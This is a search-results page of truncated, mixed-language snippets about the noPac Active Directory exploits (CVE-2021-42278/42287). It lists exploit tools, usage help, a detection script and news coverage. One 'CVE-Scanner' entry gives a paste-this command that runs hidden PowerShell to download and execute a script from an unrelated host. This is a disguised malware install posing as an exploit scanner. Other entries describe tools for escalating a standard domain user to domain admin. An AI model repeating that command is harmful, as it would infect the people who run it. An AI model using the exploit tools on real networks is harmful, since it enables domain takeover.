25 matches found
sam-the-admin
استغلال CVE-2021-42278 و CVE-2021-42287 لانتحال هوية مسؤول النطاق من مستخدم نطاق قياسي مشاكل معروفة لن يعمل خارج كالي، سأقوم بتحديثه لاحقًا : اطلع على تسليح CVE-2021-42287/CVE-2021-42278 انتحال sAMAccountName...
noPac
noPac L'origine de ce projet est l'apprentissage du principe de noPac. J'ai apporté quelques modifications sur la base du projet cube0x0. Des commentaires personnels de compréhension ont été ajoutés au code source. Suppression de la fonction Scan, je trouve personnellement que la fonction Scan es...
noPac
حول استغلال الثغرات CVE-2021-42278 و CVE-2021-42287 لانتحال صلاحية مسؤول المجال DA من مستخدم مجال عادي معدّل من sam-the-admin. الاستخدام SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. options: -h, --help show...
Pachine
Pachine تطبيق Python لـ CVE-2021-42278 تصعيد الامتيازات في Active Directory. التثبيت $ pip3 install impacket الاستخدام Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation usage: pachine.py -h -scan -spn SPN -impersonate IMPERSONATE -domain-netbios NETBIOSNAME -computer-name NEW-COMPUTER-NAME...
noPac-detection
À propos Script de détection pour CVE-2021-42278 et CVE-2021-42287 Utilisation The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h, --help show this...
Invoke-sAMSpoofing
Invoke-sAMSpoofing Exploits CVE-2021-42287/CVE-2021-42278 en powershell Table des matières Vue d'ensemble Menu Captures d'écran Références Vue d'ensemble Un script simple pour attaquer l'AD avec les exploits CVE-2021-42287/CVE-2021-42278 automatiquement. Menu Invoke-sAMSpooofing Invoke-GoldenTick...
CVE-Scanner
CVE-Scanner CVE-2021-42287/CVE-2021-42278/AUTRE Scanner & Exploiteur. Install 1. Appuyez sur WIN + R 2. Copiez et collez le code ci-dessous et appuyez sur Entrée powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. Redémarrez...
Invoke-noPac
Invoke-noPac L'assembly .Net est basé sur mon fork https://github.com/ricardojba/noPac qui comporte quelques modifications de code pour améliorer l'original. Chargeur d'assembly .Net de style PowerSharpPack pour le scanner et l'exploit CVE-2021-42287 - CVE-2021-42278 noPac. Utilisation :...
noPac
noPac Exploitation de CVE-2021-42278 et CVE-2021-42287 Le projet noPac d'origine présentant peut-être quelques problèmes d'implémentation, il n'a pas fonctionné en local. J'ai donc effectué des modifications en m'appuyant sur le projet sam-the-admin. Utilisation pip3 install -r requirements.txt...
noPac
حول أداة NoPac، تستغل بعض الثغرات القديمة CVE-2021-42278 و CVE-2021-42287 لانتحال صفة مسؤول المجال من مستخدم عادي. لا مزيد من التبعيات المزعجة، مجرد ملف ثنائي واحد، يا إلهي أحب Go، Python لم تستطع أبدًا. العلامة -shell تقوم فقط بتشغيل impacket-smbexec. يمكنك أيضًا استخدام ملف ccache للحساب المنتح...
CVE-Scanner
ماسح الثغرات CVE-Scanner 🔍 CVE-Scanner هي أداة مصممة لمسح واستغلال الثغرات المرتبطة بـ CVE-2021-42287 وCVE-2021-42278 ومشكلات أمنية أخرى. يهدف هذا المشروع إلى تزويد المتخصصين في الأمن والباحثين بطريقة مباشرة لتحديد وتخفيف المخاطر في أنظمتهم. جدول المحتويات الميزات التثبيت الاستخدام الثغرات المدعو...
CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub
The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...
noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. optional arguments: -h, --help show thi...
Microsoft Windows Active Directory Privilege Escalation Multiple Vulnerabilities (CVE-2021-42278; CVE-2021-42287)
Multiple Privilege Escalation vulnerabilities exists in Microsoft Windows Active Directory. Successful exploitation of this vulnerability could allow a remote attacker to easily elevate their privilege to that of a domain admin once he compromise a regular user in the domain...
Two Active Directory Bugs Lead to Easy Windows Domain Takeover
A proof-of-concept tool has been published that leverages two Windows Active Directory bugs fixed last month that, when chained, can allow easy Windows domain takeover. In a Monday alert, Microsoft urged organizations to immediately patch the pair of bugs, tracked as CVE-2021-42287 and...
Exploit for CVE-2021-42278
Pachine Python implementation for CVE-2021-42278 Active Dire...
CVE-2021-42278
creationtimestamp| type| source ---|---|--- 2021-12-11 19:44:35+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/952 2021-12-11 20:46:13+00:00| published-proof-of-concept| https://t.me/BlueRedTeam/1328 2021-12-12 14:54:29+00:00| published-proof-of-concept| https://t.me/m1swarr1or/29...
Exploit for CVE-2021-42278
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...
